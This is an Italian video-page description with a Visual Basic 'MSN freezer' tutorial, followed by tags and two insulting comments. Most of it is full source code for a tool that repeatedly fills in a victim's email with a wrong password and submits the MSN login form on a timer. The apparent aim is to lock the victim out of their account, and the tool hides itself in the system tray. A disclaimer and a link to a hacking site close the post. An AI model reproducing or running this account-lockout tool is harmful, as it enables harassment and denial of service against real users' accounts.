msn freezer vb8

inserire un label
3 button
u webbrowser
un icon
un timer
un textbox
checbox
dopo aver ftt tutto (dovete inserire tutto cio che vi ho dtt per forza se no nn funge)
schiacciate 2 volte nel primo button cancellate tutto la pagina deve rimanere bianca ed iserite sti codici
Imports System.Threading.Thread

Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If TextBox1.Text = "" Then MsgBox("Inserisci L'ema-il della vittima", MsgBoxStyle.Information, "Ema-il") Else If CheckBox1.Checked = True Then Me.WindowState = FormWindowState.Minimized Timer1.Enabled = True Label1.Text = "Freeze..." Else Timer1.Enabled = True Label1.Text = "Freeze.." End If End If End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load WebBrowser1.Navigate("http://Mobile.msn.com/hm/folder.phpx") End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Timer1.Enabled = False TextBox1.Text = "Msn Unfreeze" Label1.Text = "Pronto" End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick On Error GoTo errordetected WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text)) WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pass123456")) Sleep(2000) WebBrowser1.Document.GetElementById("PasswordSubMit").InvokeMember("click") GoTo done
errordetected: Label1.Text = "Freeze" WebBrowser1.Navigate("http://Mobile.msn.com/hm/folder.phpx")
done: End Sub Private Sub Form1_Resize(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Resize If Me.WindowState = FormWindowState.Minimized Then Me.Hide() NotifyIcon1.Visible = True End If End Sub Private Sub NotifyIcon1_MouseDoubleCLick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick Me.Show() Me.WindowState = FormWindowState.Normal NotifyIcon1.Visible = False End Sub Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click Dim i As String = InputBox("Inserisci il tempo della durata del freeze (Millisecondi)") If i = "" Then Else Timer1.Interval = i MsgBox("Velocità settata : " & Timer1.Interval) End If End Sub Private Sub ToolStrip1_ItemClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.ToolStripItemClickedEventArgs) End Sub
End Class

il primo button serve pèer freezer l secondo per uni freezer e il terzo la durata
nn mi assumo nessuna responsabilita all uso che ne fate il video e solo a scopo illustrativo ed educativo

VISITATE IL MIO SITO http://hackerego.oneminutesite.it/

Category:

Science & Technology

Tags:

• vb8
• msn
• freezer
• vb6
• visual
• basic
• programmazione
• java
• halo
• hacker
• frezer
• freeze
• comocrearvb8
• guida

[boylive10]

@fabionightt tuo padre

[fabionightt]

noob